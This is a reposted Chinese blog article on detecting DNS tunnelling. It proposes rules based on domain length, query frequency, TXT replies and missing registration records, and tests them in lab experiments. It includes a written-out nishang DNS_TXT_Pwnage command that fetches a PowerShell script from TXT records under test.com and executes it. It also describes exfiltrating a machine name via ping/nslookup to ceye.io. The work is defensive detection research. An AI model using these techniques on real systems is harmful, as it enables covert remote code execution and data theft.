一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案

简介:

摘自:http://www.freebuf.com/articles/network/149328.html

 

通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下: 

方向1:特征检测:

检测窃密木马(无需更新和接收指令):     【域名超长 or 频率高】  and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】

检测远控木马(需更新和接收指令):         【域名超长 or 频率高】  and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】 

通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):

{【存在txt回包】and 【不存在全域名注册记录】}  or  {【终端无进程对返回的A记录(如有)发起访问】  and 【不存在全域名注册记录】}

方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):

单台机器检测:    域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警

群体事件检测:     A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个)  + B +…  >   多台机器阈值,评测外传数据大小,达到阈值则触发报警

 

实验验证分析:

 

为验证此方案的逻辑正确性,笔者实验如下:

 

Xshell实验验证:

 

1、直接运行xshell,触发dns行为

 

2、外传结果抓包:

 

DNS隧道检测平民解决方案

 

3、检测逻辑匹配分析:

 

a)     外传域名超长

 

b)     频率较高

 

c)     类型为TXT,有回包

 

d)     无A记录解析结果,也就无程序对结果发起访问

 

e)     不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)

结论:窃密木马+远控木马

 

Powershell dns实验验证:

 

1、利用powershell构造dns隧道

 

a)     编写一个最简单的一句话脚本,获取服务列表

 

DNS隧道检测平民解决方案

 

b)     使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录

 

DNS隧道检测平民解决方案

 

c)     在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)

 

DNS隧道检测平民解决方案

 

DNS隧道检测平民解决方案

 

验证结果,ok

 

DNS隧道检测平民解决方案

 

d)     使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。

 

命令和结果如下:

 

DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain  txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag

 

DNS隧道检测平民解决方案

 

2、外传结果抓包:

 

使用Microsoft Network Monitor抓包分析

 

DNS隧道检测平民解决方案

 

3、检测逻辑匹配分析:

 

a)     因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名

 

b)     因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率

 

c)     类型为TXT,有回包

 

d)     无A记录解析结果,也就无程序对结果发起访问

 

e)     此实验场景未覆盖外传数据,所以不涉及注册问题

结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)

 

利用ceye.io的外传实验验证

 

1、 少量信息窃取和大量信息窃取

 

a)     单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名

 

外传实验验证

 

b)    多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 (代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改):

 

2、外传结果展示:

 

 

a)     单次少量信息窃取外传

 

 

DNS隧道检测平民解决方案

 

 

b)     多次大量信息窃取

 

 

DNS隧道检测平民解决方案

 

 

3、检测逻辑匹配分析:

 

 

a)     利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)

 

 

DNS隧道检测平民解决方案

 

 

b)     对解析A记录结果无后续访问

 

 

DNS隧道检测平民解决方案

 

 

c)     不存在全域名注册记录

 

 

结论:窃取数据木马













本文转自张昺华-sky博客园博客,原文链接:http://www.cnblogs.com/bonelee/p/7651606.html,如需转载请自行联系原作者


相关文章
|
Ubuntu 开发者 Python
|
JavaScript Java 测试技术
基于SpringBoot+Vue的付费自习室管理系统的详细设计和实现
基于SpringBoot+Vue的付费自习室管理系统的详细设计和实现
345 0
|
23天前
|
人工智能 JSON API
全网刷屏的 Jev 模型正式开放!一手实战测评 + 保姆级教程
全网爆火的 Jev 模型是什么?有什么用?怎么使用?怎么接入 AI 编程工具?效果真的好么?傻子可懂的 Jev 保姆级实战教程 + 项目实战测评来啦
9421 31
|
10天前
|
存储 人工智能 并行计算
大模型本地部署终端选型方法论:以 Qwen3.8-27B 为例的四档分层完整流程
本文提出一套大模型本地部署终端选型方法论:定约束、定档位、定框架、定参数四步决策法,配合入门、主力、质量、无损四档分层模型。以 Qwen3.8-27B 实测数据为例,逐环节解读显存、带宽、存储、散热、系统、预算等要素,给出面向不同预算的优选方案、决策自查清单与市场观察框架。文末前瞻 AI 笔记本的 CPU+GPU 与统一内存两条路线,论证四步决策法在新品类上的延续性。
|
8天前
|
人工智能 JSON 自然语言处理
2026 年 Jev 决策模型深度拆解:原理解读、实战测评与保姆级落地教程
有一款特殊AI模型在开发者圈子刷屏,它摒弃传统大模型擅长的对话聊天能力,专注做高速结构化决策,它就是TypeSafe AI推出的Jev模型。该模型由ChatGPT共同发明人Diogo Almeida主导研发,定位为**System One Model(系统一模型)**,对标人类大脑快速直觉判断的思维模式,在响应延迟、调用成本、结构化输出稳定性上相比传统生成式大模型有着巨大差异。本文会完整拆解Jev底层原理、三大核心原语能力、适用业务场景,同时提供可直接运行的curl、Python代码示例,并且结合多组实测数据,客观分析模型优势与能力边界,帮助普通开发者和AI应用从业者快速上手落地。
674 1
|
22天前
|
人工智能 测试技术 API
最近全网爆火的 Jev 到底是什么?适合干什么、怎么用,一篇讲透!
Jev是TypeSafe AI推出的“系统一模型”,不生成文本,专做毫秒级结构化决策:Choice(多选)、Score(打分)、Noul(是非概率)。响应快193倍、成本低444倍,适合工单路由、内容审核、测试定级等高频判断场景。
2501 4
最近全网爆火的 Jev 到底是什么?适合干什么、怎么用,一篇讲透!
|
5天前
|
人工智能 JSON 自然语言处理
2026 年 Jev 决策模型全解析:核心原理拆解,性能实战测评与落地部署教程
有一款特殊AI模型在开发者圈子刷屏,它摒弃传统大模型擅长的对话聊天能力,专注做高速结构化决策,它就是TypeSafe AI推出的Jev模型。该模型由ChatGPT共同发明人Diogo Almeida主导研发,定位为System One Model(系统一模型),对标人类大脑快速直觉判断的思维模式,在响应延迟、调用成本、结构化输出稳定性上相比传统生成式大模型有着巨大差异。本文会完整拆解Jev底层原理、三大核心原语能力、适用业务场景,同时提供可直接运行的curl、Python代码示例,并且结合多组实测数据,客观分析模型优势与能力边界,帮助普通开发者和AI应用从业者快速上手落地。
437 0

相关产品

  • 云解析DNS